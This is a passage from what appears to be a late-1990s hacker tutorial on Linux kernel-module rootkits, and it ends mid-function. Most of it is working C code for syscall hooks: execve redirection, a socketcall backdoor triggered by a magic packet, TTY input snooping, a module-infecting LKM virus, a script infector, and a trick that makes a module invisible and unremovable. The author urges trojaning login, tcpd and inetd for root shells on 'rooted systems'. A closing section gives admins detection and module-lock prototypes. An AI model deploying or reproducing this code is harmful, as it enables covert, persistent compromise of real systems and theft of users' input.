    return (int) __res;

}





int hacked_execve(const char *filename, const char *argv[], const char *envp[])

{

char *test;

int ret, tmp;

char *truc = "/bin/ls";        /*the file we *should* be executed*/

char *nouveau = "/bin/ps";     /*the new file which *will* be executed*/

unsigned long mmm;



test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);

/*get file which a user wants to execute*/

(void) strncpy_fromfs(test, filename, strlen(truc));

test[strlen(truc)] = '\0';

/*do we have our truc file ?*/

if (!strcmp(test, truc))

{

  kfree(test);

  mmm = current->mm->brk;

  ret = brk((void *) (mmm + 256));

  if (ret < 0)

   return ret;

  /*set new program name (the program we want to execute instead of /bin/ls or

  whatever)*/

  memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

  /*execute it with the *same* arguments / environment*/

  ret = my_execve((char *) (mmm + 2), argv, envp);

  tmp = brk((void *) mmm);

} else {

  kfree(test);

  /*no the program was not /bin/ls so execute it the normal way*/

  ret = my_execve(filename, argv, envp);

}

return ret;

}



int init_module(void)                /*module setup*/

{

/*the following lines choose the systemcall number of our new myexecve*/

__NR_myexecve = 200;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

  __NR_myexecve--;



orig_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0)

{

  sys_call_table[__NR_myexecve] = orig_execve;

  sys_call_table[SYS_execve] = (void *) hacked_execve;

}

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_execve]=orig_execve;                                      

}

When you loaded this module, every call to /bin/ls will just execute /bin/ps.

The following list gives you some ideas how to use this redirection of execve :

  trojan /bin/login with a hacker login (how plaguez suggests)



  trojan tcpd to open a rootshell on a certain port, or to filter its logging

  behaviour (remember CERT advisory on a trojan TCPD version)



  trojan inetd for a root shell



  trojan httpd, sendmail, ... any server you can think of, for a rootshell, by

  issuing a special magic string



  trojan tools like tripwire, L6



  other system security relevant tools



There are thousands of other intersting programs to 'trojan', just use your

brain.

6. Network (Socket) related Hacks

The network is the hacker's playground. So let's look at something which can

help us.

6.1 How to controll Socket Operations

There are many things you can do by controlling Socket Operations. plaguez gave

us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting

for a packet with a certain length and a certain contents. So let's take a look

at his hacked systemcall (I will only show the hacked_systemcall, because the

rest is equal to every other LKM mentioned in this section) :

int hacked_socketcall(int call, unsigned long *args)

{

int ret, ret2, compt;



/*our magic size*/

int MAGICSIZE=42;



/*our magic contents*/

char *t = "packet_contents";

unsigned long *sargs = args;

unsigned long a0, a1, mmm;

void *buf;



/*do the call*/

ret = (*o_socketcall) (call, args);



/*did we have magicsize & and a recieve ?*/

  if (ret == MAGICSIZE && call == SYS_RECVFROM)

  {

   /*work on arguments*/

   a0 = get_user(sargs);

   a1 = get_user(sargs + 1);

   buf = kmalloc(ret, GFP_KERNEL);

   memcpy_fromfs(buf, (void *) a1, ret);

   for (compt = 0; compt < ret; compt++)

    if (((char *) (buf))[compt] == 0)

     ((char *) (buf))[compt] = 1;

    /*do we have magic_contents ?*/

    if (strstr(buf, mtroj))

    {

     kfree(buf);

     ret2 = fork();

    if (ret2 == 0)

    {

     /*if so execute our proggy (shell or whatever you want...) */

     mmm = current->mm->brk;

     ret2 = brk((void *) (mmm + 256));

     memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);



     /*plaguez's execve implementation -> see 4.2*/

     ret2 = my_execve((char *) mmm + 2, NULL, NULL);

    }

   }

  }

return ret;

}

Ok, as always I added some comments to the code, which is a bit ugly, but

working. The code intercepts every sys_socketcall (which is responsible for

everything concerning socket-operations see I.2). Inside the hacked systemcall

the code first issues a normal systemcall. After that the return value and call

variables are checked. If it was a receive Socketcall and the 'packetsize'

(...nothing to do with TCP/IP packets...) is ok it will check the contents which

was received. If it can find our magic contents, the code can be sure,that we

(hacker) want to start the backdoor program. This is done by my_execve(...).

In my opinion this approach is very good, it would also be possible to wait for

a speciel connect / close pattern, just be creative.

Please remember that the methods mentioned above need a service listing on a

certain port, because the receive function is only issued by daemons receiving

data from an established connection. This is a disadvantage, because it could be

a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas

first on your system to see what will happen. Find your favourite way of

backdoor'ing the sys_socketcall, and use it on your rooted systems.

7. Ways to TTY Hijacking

TTY hijacking is very interesting and also something used since a very very long

time. We can grab every input from a TTY we specify throug its major and minor

number. In Phrack 50 halflife published a really good LKM doing this. The

following code is ripped from his LKM. It should show every beginner the basics

of TTY hijacking though its no complete implementation, you cannot use it in any

useful way, because I did not implement a way of logging the TTY input made by

the user. It's just for those of you who want to understand the basics, so here

we go :

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#include <asm/io.h>

#include <sys/sysmacros.h>





int errno;



/*the TTY we want to hijack*/

int tty_minor = 2;

int tty_major = 4;



extern void* sys_call_table[];



/*we need the write systemcall*/

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);



void *original_write;



/* check if it is the tty we are looking for */

int is_fd_tty(int fd)

{

struct file *f=NULL;

struct inode *inode=NULL;

int mymajor=0;

int myminor=0;



if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))

  return 0;

mymajor = major(inode->i_rdev);

myminor = minor(inode->i_rdev);

if(mymajor != tty_major) return 0;

if(myminor != tty_minor) return 0;

  return 1;

}



/* this is the new write(2) replacement call */

extern int new_write(int fd, char *buf, size_t count)

{

int r;

char *kernel_buf;



if(is_fd_tty(fd))

{

  kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);   

  memcpy_fromfs(kernel_buf, buf, count);



  /*at this point you can output buf whereever you want, it represents

  every input on the TTY device referenced by the chosen major / minor

  number

  I did not implement such a routine, because you will see a complete &

  very good TTY hijacking tool by halflife in appendix A */



  kfree(kernel_buf);

}

sys_call_table[SYS_write] = original_write;

r = write(fd, buf, count);

sys_call_table[SYS_write] = new_write;

if(r == -1) return -errno;

  else return r;

}



int init_module(void)                  

{

/*you should know / understand this...*/

original_write = sys_call_table[SYS_write];

sys_call_table[SYS_write] = new_write;

return 0;

}





void cleanup_module(void)

{

/*no more hijacking*/

sys_call_table[SYS_write] = original_write;

}

The comments should make this code easy to read.The general idea is to intercept

sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After

checking fd for the TTY we want to snoop, get the data written and write it to

some log (not implemented in the example above).There are several ways where you

can store the logs.halflife used a buffer (accessible through an own device)

which is a good idea (he can also control his hijack'er using ioctl-commands on

his device).

I personally would recommand storing the logs in hidden (through LKM) file, and

making the controlling through some kind of IPC. Take the way which works on

your rooted system.



8. Virus writing with LKMs

Now we will leave the hacking part for a second and take a look at the world of

virus coding (the ideas discussed here could also be interesting for hackers, so

read on...). I will concentrate this discussion on the LKM infector made by

Stealthf0rk/SVAT. In appendix A you will get the complete source, so this

section will only discuss important techniques and functions. This LKM requires

a Linux system (it was tested on a 2.0.33 system) and kerneld installed (I will

explain why).

First of all you have to know that this LKM infector does not infect normal elf

executables (would also be possible,I will come to that point later->7.1), it

only infects modules, which are loaded / unloaded. This loading / unloading is

often managed by kerneld (see I.7). So imagine a module infected with the virus

code; when loading this module you also load the virus LKM which uses hiding

features (see 8). This virus module intercepts the sys_create_module and

sys_delete_module (see I.2) systemcalls for further infection. Whenever a module

is unloaded on that system it is infected by the new sys_delete_module

systemcall. So every module requested by kerneld (or manually) will be infected

when unloaded.

You could imagine the following scenario for the first infection :

  admin is searching a network driver for his new interface card (ethernet,...)



  he starts searching the web



  he finds a driver module which should work on his system & downloads it



  he installs the module on his system [the module is infected]

  --> the infector is installed, the system is compromised



Of course, he did not download the source, he was lazy and took the risks using

a binary file. So admins never trust any binary files (esp. modules). So I hope

you see the chances / risks of LKM infectors, now let's look a bit closer at the

LKM infector by SVAT.

Imagine you have the source for the virus LKM (a simple module, which intercepts

sys_create_module / sys_delete_module and some other [more tricky] stuff). The

first question would be how to infect an existing module (the host module). Well

let's do some experimenting. Take two modules and 'cat' them together like

# cat module1.o >> module2.o

After this try to insmod the resulting module2.o (which also includes module1.o

at its end).

# insmod module2.o

Ok it worked, now check which modules are loaded on your system

# lsmod

Module         Pages    Used by

module2        1        0

So we know that by concatenating two modules the first one (concerning object

code) will be loaded, the second one will be ignored. And there will be no error

saying that insmod can not load corrupted code or so.

With this in mind, it should be clear that a host module could be infected by

cat host_module.o >> virus_module.o

ren virus_module.o host_module.o

This way loading host_module.o will load the virus with all its nice LKM

features. But there is one problem, how do we load the actual host_module ? It

would be very strange to a user / admin when his device driver would do nothing.

Here we need the help of kerneld. As I said in I.7 you can use kerneld to load a

module. Just use request_module("module_name") in your sources.This will force

kerneld to load the specified module. But where do we get the original host

module from ? It is packed in host_module.o (together with virus_module.o). So

after compiling your virus_module.c to its objectcode you have to look at its

size (how many bytes). After this you know where the original host_module.o will

begin in the packed one (you must compile the virus_module two times : the first

one to check the objectcode size, the second one with the source changed

concerning objectsize which must be hardcoded...). After these steps your

virus_module should be able to extract the original host_module.o from the

packed one. You have to save this extracted module somewhere, and load it via

request_module("orig_host_module.o"). After loading the original host_module.o

your virus_module (which is also loaded from the insmod [issued by user, or

kerneld]) can start infecting any loaded modules.

Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the

infection, so let's take a look at his hacked systemcall (I only added some

comments) :

/*just the hacked systemcall*/

int new_delete_module(char *modname)

{

/*number of infected modules*/

static int infected = 0;

int retval = 0, i = 0;

char *s = NULL, *name = NULL;



/*call the original sys_delete_module*/      

retval = old_delete_module(modname);



  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)

  return retval;



/*check files to infect -> this comes from hacked sys_create_module; just

a feature of *this* LKM infector, nothing generic for this type of virus*/

for (i = 0; files2infect[0] && i < 7; i++)

{

  strcat(files2infect, ".o");

  if ((s  = get_mod_name(files2infect)) == NULL)

  {

   return retval;

  }

  name = strcpy(name, s);

  if (!is_infected(name))

  {

   /*this is just a macro wrapper for printk(...)*/

   DPRINTK("try 2 infect %s as #%d\n", name, i);

   /*increase infection counter*/

   infected++;

   /*the infect function*/

   infectfile(name);

  }

  memset(files2infect, 0, 60 + 2);

} /* for */

/* its enough */

/*how many modules were infected, if enough then stop and quit*/

if (infected >= ENOUGH)

  cleanup_module();

vfree(name);

return retval;

}

Well there is only one function interesting in this systemcall: infectfile(...).

So let's examine that function (again only some comments were added by me) :

int infectfile(char *filename)

{

char *tmp = "/tmp/t000";

int in = 0, out = 0;

struct file *file1, *file2;



/*don't get confused, this is a macro define by the virus. It does the

kernel space -> user space handling for systemcall arguments(see I.4)*/

BEGIN_KMEM

/*open objectfile of the module which was unloaded*/

in = open(filename, O_RDONLY, 0640);

/*create a temp. file*/

out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);

/*see BEGIN_KMEM*/

END_KMEM



DPRINTK("in infectfile: in = %d out = %d\n", in, out);

if (in <= 0 || out <= 0)

  return -1;

file1 = current->files->fd[in];

file2 = current->files->fd[out];

if (!file1 || !file2)

  return -1;

/*copy module objectcode (host) to file2*/

cp(file1, file2);

BEGIN_KMEM

file1->f_pos = 0;

file2->f_pos = 0;

/* write Vircode [from mem] */

DPRINTK("in infetcfile: filenanme = %s\n", filename);

file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);

cp(file2, file1);

close(in);

close(out);

unlink(tmp);

END_KMEM

return 0;

}        

I think the infection function should be quite clear.

There is only thing left which I think is necessary to discuss : How does the

infected module first start the virus, and load the original module (we know the

theory, but how to do it in reality) ?

For answering this question lets take a look at a function called

load_real_mod(char *path_name, char* name) which manages that problem :

/* Is that simple: we disinfect the module [hide 'n seek]

* and send a request to kerneld to load

* the orig mod. N0 fuckin' parsing for symbols and headers

* is needed - cool.

*/

int load_real_mod(char *path_name, char *name)

{          

int r = 0, i = 0;               

struct file *file1, *file2;

int in =  0, out = 0;



DPRINTK("in load_real_mod name = %s\n", path_name);

if (VirCode)

  vfree(VirCode);

VirCode = vmalloc(MODLEN);

if (!VirCode)

   return -1;

BEGIN_KMEM

/*open the module just loaded (->the one which is already infected)*/

in = open(path_name, O_RDONLY, 0640);

END_KMEM

if (in <= 0)

  return -1;

file1 = current->files->fd[in];

if (!file1)

  return -1;

/* read Vircode [into mem] */

BEGIN_KMEM

file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);

close(in);

END_KMEM

/*split virus / orig. module*/

disinfect(path_name);

/*load the orig. module with kerneld*/

r = request_module(name);

DPRINTK("in load_real_mod: request_module = %d\n", r);

return 0;

}          

It should be clear *why* this LKM infector need kerneld now, we need to load the

original module by requesting it with request_module(...). I hope you understood

this very basic journey through the world of LKM infectors (virus). The next sub

sections will show some basic extensions / ideas concering LKM infectors.

8.1 How a LKM virus can infect any file (not just modules)

Please don't blame me for not showing a working example of this idea, I just

don't have the time to implement it at the moment (look for further releases).

As you saw in II.4.2 it is possible to catch the execute of every file using an

intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which

appends some data to the program that is going to be executed. The next time

this program is started, it first starts our added part and then the original

program (just a basic virus scheme). We all know that there are some existing

Linux / unix viruses out there, so why don't we try to use LKMs infect our elf

executables not just modules.We could infect our executables,in a way that they

check for UID=0 and then load again our infection module... I hope you

understood the general idea.

I have to admit, that the modification needed to elf files is quite tricky, but

with enough time you could do it (it was done several times before, just take a

look at existing Linux viruses).

First of all you have to check for the file type which is going to be execute by

sys_execve(...). There are several ways to do it; one of the fastest is to read

some bytes from the file and checking them against the ELF string. After this

you can use write(...) / read(...) / ... calls to modify the file, look at the

LKM infector to see how it does it.

My theory would stay theory without any proof, so I present a very easy and

useless LKM *script* infector. You cannot do anything virus like with it, it

just infects a script with certain commands and nothing else; no real virus

features.

I show you this example as a concept of LKMs infecting any file you execute.

Even Java files could be infected, because of the features provided by the Linux

kernel. Here comes the little LKM script infector :

#define __KERNEL__

#define MODULE



/*taken from the original LKM infector; it makes the whole LKM a lot easier*/

#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());

#define END_KMEM   set_fs(old_fs);}



#include <linux/version.h>

#include <linux/mm.h>

#include <linux/unistd.h>

#include <linux/fs.h>

#include <linux/types.h>

#include <asm/errno.h>

#include <asm/string.h>

#include <linux/fcntl.h>

#include <sys/syscall.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/kernel.h>

#include <linux/kerneld.h>



int __NR_myexecve;



extern void *sys_call_table[];



int (*orig_execve) (const char *, const char *[], const char *[]);



int (*open)(char *, int, int);

int (*write)(unsigned int, char*, unsigned int);

int (*read)(unsigned int, char*, unsigned int);

int (*close)(int);





/*see II.4.2 for explanation*/

int my_execve(const char *filename, const char *argv[], const char *envp[])

{

    long __res;

    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));

    return (int) __res;

}



/*infected execve systemcall + infection routine*/

int hacked_execve(const char *filename, const char *argv[], const char *envp[])

{

char *test, j;

int ret;

int host = 0;



/*just a buffer for reading up to 20 files (needed for identification of

execute file*/

test = (char *) kmalloc(21, GFP_KERNEL);



/*open the host script, which is going to be executed*/

host=open(filename, O_RDWR|O_APPEND, 0640);



BEGIN_KMEM



/*read the first 20 bytes*/

read(host, test, 20);  



/*is it a normal shell script (as you see, you can modify this for *any*

executable*/

if (strstr(test, "#!/bin/sh")!=NULL)

{

  /*a little debug message*/

  printk("<1>INFECT !\n");

  /*we are friendly and attach a peaceful command*/

  write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));

}

END_KMEM

/*modification is done, so close our host*/

close(host);

/*free allocated memory*/

kfree(test);

/*execute the file (the file is execute WITH the changes made by us*/

ret = my_execve(filename, argv, envp);

return ret;

}





int init_module(void)                /*module setup*/

{

__NR_myexecve = 250;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

  __NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0)

{

  printk("<1>everything OK\n");

  sys_call_table[__NR_myexecve] = orig_execve;

  sys_call_table[SYS_execve] = (void *) hacked_execve;

}



/*we need some functions*/

open = sys_call_table[__NR_open];

close = sys_call_table[__NR_close];     

write = sys_call_table[__NR_write];

read = sys_call_table[__NR_read];

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_execve]=orig_execve;                                      

}

This is too easy to waste some words on it. Of course, this module does not need

kerneld for spreading (interesting for kernel without kerneld support).

I hope you got the idea on infecting any executable, this is a very strong

method of killing large systems.

8.2 How can a LKM virus help us to get in

As you know virus coders are not hackers, so what about interesting features for

hackers. Think about this problem (only ten seconds), you should realize, that a

whole system could be yours by introducing a trojan (infected) LKM.

Remember all the nice hacks we discussed till now.Even without trojans you could

hack a system with LKMs. Just use a local buffer overflow to load a LKM in your

home directoy. Believe me, it is easier to infect a system with a real good LKM

than doing the same stuff as root again and again. It's more elagent to let the

LKM make the work for you. Be CREATIVE...

9. Making our LKM invisible & unremovable

Now it's time to start talking about the most important / interesting Hack I

will present. This idea comes from plaguez's LKM published in Phrack (other

people like Solar Designer discussed this before...).

So far we are able to hide files, processes, directories, and whatever we want.

But we cannot hide our own LKM. Just load a LKM and take a look at

/proc/modules. There are many ways we can solve this problem. The first solution

could be a partial file hiding (see II.4.3). This would be easy to implement,

but there is a better more advanced and secure way. Using this technique you

must also intercept the sys_query_module(...) systemcall. An example of this

approach can be seen in A-b.

As I explained in I.1 a module is finally loaded by issuing a init_module(...)

systemcall which will start the module's init function. init_module(...) gets an

argument : struct mod_routines *routines. This structure contains very important

information for loading the LKM. It is possible for us to manipulate some data

from this structure in a way our module will have no name and no references.

After this the system will no longer show our LKM in /proc/modules, because it

ignores LKMs with no name and a refernce count equal to 0. The following lines

show how to access the part of mod_routines, in order to hide the module.



/*from Phrack & AFHRM*/

int init_module()

{

  register struct module *mp asm("%ebp");   // or whatever register it is in

  *(char*)mp->name=0;

  mp->size=0;

  mp->ref=0;

...

This code trusts in the fact that gcc did not manipulate the ebp register

because we need it in order to find the right memory location. After finding the

structure we can set the structure's name and references members to 0 which will

make our module invisible and also unremovable, because you can only remove LKMs

which the kernel knows, but our module is unknow to the kernel.

Remember that this trick only works if you use gcc in way it does not touch the

register you need to access for getting the structure.You must use the following

gcc options :

#gcc -c -O3 -fomit-frame-pointer module.c

fomit-frame-pointer says cc not to keep frame pointer in registers for functions

that don't need one. This keeps our register clean after the function call of

init_module(...), so that we can access the structure.

In my opinion this is the most important trick, because it helps us to develope

hidden LKMs which are also unremovable.

10. Other ways of abusing the Kerneldaemon

In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM

infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine

the socketcall loading a module instead of starting our backdoor shellscript or

program. You could load a module adding an entry to passwd or inetd.conf. After

loading this second LKM you have many possibilities of changing systemfiles.

Again, be creative.

11. How to check for presents of our LKM

We learned many ways a module can help us to subvert a system. So imagine you

code yourself a nice backdoor tool (or take an existing) which isn't implemented

in the LKM you use on that system; just something like pingd, WWW remote shell,

shell, .... How can you check after logging in on the system that your LKM is

still working? Imagine what would happen if you enter a session and the admin is

waiting for you without your LKM loaded (so no process hiding etc.). So you

start doing you job on that system (reading your own logs, checking some mail

traffic and so on) and every step is monitored by the admin. Well no good

situation, we must know that our LKM is working with a simple check.

I suppose the following way is a good solution (although there may be many other

good ones):

  implement a special systemcall in your module



  write a little user space program checking for that systemcall



Here is a module which implements our 'check systemcall' :

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



#define SYS_CHECK 200



extern void* sys_call_table[];





int sys_check()

{

return 666;   

}



int init_module(void)                /*module setup*/

{

sys_call_table[SYS_CHECK]=sys_check;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{}

If you issue a systemcall with the number 200 in eax we should get a return of

666. So here is our user space program checking for this :

#include <linux/errno.h>

#include <sys/syscall.h>

#include <errno.h>



extern void *sys_call_table[];



int check()

{   

__asm__("movl $200,%eax

         int $0x80");

}



main()

{

int ret;

ret = check();

if (ret!=666)

  printf("Our module is *not* present !!\n");

else

  printf("Our module is present, continue...\n");

}

In my opinion this is one of the easiest ways to check for presents of our LKM,

just try it.

III. Soltutions (for admins)

1. LKM Detector Theory & Ideas

I think it is time to help admins securing their system from hostile LKMs.

Before explaining some theories remember the following for a secure system :



  never install any LKMs you don't have the sources for (of course, this is also

  relevant for normal executables)



  if you have the sources, check them (if you can). Remember the tcpd trojan

  problem. Large software packets are mostly quite complex to understand, but if

  you need a very secure system you should analyse the source code.



Even if you follow those tips it could be possible that an intruder activates an

LKM on your system (overflows etc.).

So what about a LKM logging every module loaded, and denying every load attempt

from a directory different from a secure one (to avoid simple overflows; that's

no perfect way...). The logging can be easily done by intercepting the

create_module(...) systemcall. The same way you could check for the directory

the loaded module comes from.

It would also be possible to deny any module loading, but this is a very bad

way, because you really need them. So what about modifying module loading in a

way you can supply a password, which will be checked in your intercepted

create_module(...). If the password is correct the module will be loaded, if not

it will be dropped.

It should be clear that you have to hide your LKM to make it unremovable. So

let's take a look at some prototype implemantations of the logging LKM and the

password protected create_module(...) systemcall.



1.1 Practical Example of a prototype Detector

Nothing to say about that simple implementation, just intercept

sys_create_module(...) and log the names of modules which were loaded.



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];





int (*orig_create_module)(char*, unsigned long);





int hacked_create_module(char *name, unsigned long size)

{

char *kernel_name;

char hide[]="ourtool";

int ret;



kernel_name = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_name, name, 255);



/*here we log to syslog, but you can log where you want*/

printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);



ret=orig_create_module(name, size);

return ret;

}





int init_module(void)                /*module setup*/

{

orig_create_module=sys_call_table[SYS_create_module];

sys_call_table[SYS_create_module]=hacked_create_module;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_create_module]=orig_create_module;                                      

}



This is all you need, of course you should add the lines required for hiding the

module, but this is no problem. After making it unremovable this way, a hacker

can only modify the log file, but you could also save your logs, to a file

unaccessible for the hacker (see II.1 for required tricks). Of course you can

also intercept sys_init_module(...)which would also show every module, that's

just a matter of taste.

1.2 Practical Example of a prototype password protected create_module(...)

This subsection will deal with the possibility to add authentication to module

loading. We need two things to manage this task :

  a way to check module loading (easy)



  a way to authenticate (quite difficult)



The first point is very easy to code, just intercept sys_create_module(...) and

check some variable, which tells the kernel wether this load process is legal.

But how to do authentication. I must admit that I did not spend many seconds on

thinking about this problem, so the solution is more than bad, but this is a LKM

article, so use your brain, and create something better. My way to do it, was to

intercept the stat(...) systemcall, which is used if you type any command,and

the system needs to search it. So just type a password as command and the LKM

will check it in the intercepted stat call [I know this is more than insecure;

even a Linux starter would be able to defeat this authentication scheme, but

(again) this is not the point here...]. Take a look at my implemtation (I ripped

lots of from existing LKMs like the one by plaguez...):



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#include <sys/stat.h>





extern void* sys_call_table[];



/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/

int lock_mod=0;



int __NR_myexecve;



/*intercept create_module(...) and stat(...) systemcalls*/

int (*orig_create_module)(char*, unsigned long);

int (*orig_stat) (const char *, struct old_stat*);



char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;



do {

  dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '\0') && (compt != n));



return dest;

}



int hacked_stat(const char *filename, struct old_stat *buf)

{

char *name;

int ret;

char *password = "password"; /*yeah, a great password*/



name    = (char *) kmalloc(255, GFP_KERNEL);



(void) strncpy_fromfs(name, filename, 255);



/*do we have our password ?*/

if (strstr(name, password)!=NULL)

{

  /*allow loading a module for one time*/

  lock_mod=1;

  kfree(name);

  return 0;

}

else

{

  kfree(name);

  ret = orig_stat(filename, buf);

}

return ret;

}



int hacked_create_module(char *name, unsigned long size)

{

char *kernel_name;

char hide[]="ourtool";

int ret;



if (lock_mod==1)

{

  lock_mod=0;

  ret=orig_create_module(name, size);

  return ret;

}

else

{

  printk("<1>MOD-POL : Permission denied !\n");

  return 0;

}

return ret;

}





int init_module(void)                /*module setup*/

{

__NR_myexecve = 200;



while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

  __NR_myexecve--;



sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                                       



orig_stat=sys_call_table[SYS_prev_stat];

sys_call_table[SYS_prev_stat]=hacked_stat;



orig_create_module=sys_call_table[SYS_create_module];

sys_call_table[SYS_create_module]=hacked_create_module;



printk("<1>MOD-POL LOADED...\n");

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_prev_stat]=orig_stat;                                      

sys_call_table[SYS_create_module]=orig_create_module;                                      

}

This code should be clear. The following list tells you what to improve in this

LKM in order to make it more secure, perhaps a bit too paranoid :

  find another way to authenticate (use your own user space interface, with your

  own systemcalls; use userID (not just a plain password); perhaps you have a

  biometric device -> read documentation and code your device driver for Linux

  and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles,

  biometric, smartcard systems can often be defeated because of a very insecure

  software interface;. You could secure your whole system with a mechanism like

  that. Control your whole kernel with a smartcard

  Another not so 'extreme' way would be to implement your own systemcall which

  is responsible for authentication. (see II.11 for an example of creating your

  own systemcall).



  find a better way to check in sys_create_module(...). Checking a variable is

  not very secure, if someone rooted your system he could patch the memory (see

  the next part)



  find a way to make it impossible for an attacker to use your authentication

  for insmod'ing his LKM



  add hiding features



  ...



You can see, there is some work to do. But even with those steps, your system

cannot be totally secure.If someone rooted the system he could find other tricks

to load his LKM (see next part); perhaps he even does not need a LKM, because he

only rooted thesystem, and don't want to hide files / processeses (and the other

wonderfull things possible with LKMs).

2. Anti-LKM-Infector ideas

memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD scanner

virus in WIN9x)



file checking scanner (checking module files for signs of an infection)



The first method is possible through intercepting sys_create_module (or the

init_module call). The second approach needs something characteristic which you

may find in any infected file. We know that the LKM infector appends two module

files. So we could check for two ELF headers / signatures. Of course, any other

LKM infector could use a improved method (encryption, selfmodifying code etc.).

I won't present a file checking scanner, because you just have to write a little

(user space) programm that reads in the module, and checks for twe ELF headers

(the 'ELF' string, for example).

3. Make your programs untraceable (theory)

Now it's time to beat hackers snooping our executables. As I said before strace

is the tool of our choice. I presented it as a tool helping us to see which

systemcalls are used in certain programs. Another very interesting use of strace

is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to

use strace for TTY hijacking. Just strace your neighbours shell,and you will get

every input he makes. So you admins should realize the danger of strace. The

program strace uses the following API function :



#include <sys/ptrace.h>



int ptrace(int request, int pid, int addr, int data);

Well how can we control strace? Don't be silly and remove strace from your

system, and think everything is ok - as I show you ptrace(...) is a library

function. Every hacker can code his own program doing the same as strace. So we

need a better more secure solution. Your first idea could be to search for an

interesting systemcall that could be responsible for the tracing; There is a

systemcall doing that; but let's look at another approach before.

Remember II.5.1 : I talked about the task flags. There were two flags which

stand for traced processes. This is the way we can control the tracing on our

system. Just intercept the sys_execve(...) systemcall and check the current

process for one of the two flags set.



3.1 Practical Example of a prototype Anti-Tracer

This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from

4. The flags field from our process can easily be retrieved using the current

pointer (task structure). The rest is nothing new.

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];



int __NR_myexecve;



int (*orig_execve) (const char *, const char *[], const char *[]);



char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;



do {

  dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '\0') && (compt != n));

  return dest;

}



int my_execve(const char *filename, const char *argv[], const char *envp[])

{

long __res;

__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)

                  (filename)), "c"((long) (argv)), "d"((long) (envp)));

return (int) __res;

}





int hacked_execve(const char *filename, const char *argv[], const char *envp[])

{

int ret, tmp;

unsigned long mmm;

char *kfilename;



/*check for the flags*/

if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {

  /*we are traced, so print the traced process (program name) and return

  without execution*/

  kfilename = (char *) kmalloc(256, GFP_KERNEL);

  (void) strncpy_fromfs(kfilename, filename, 255);

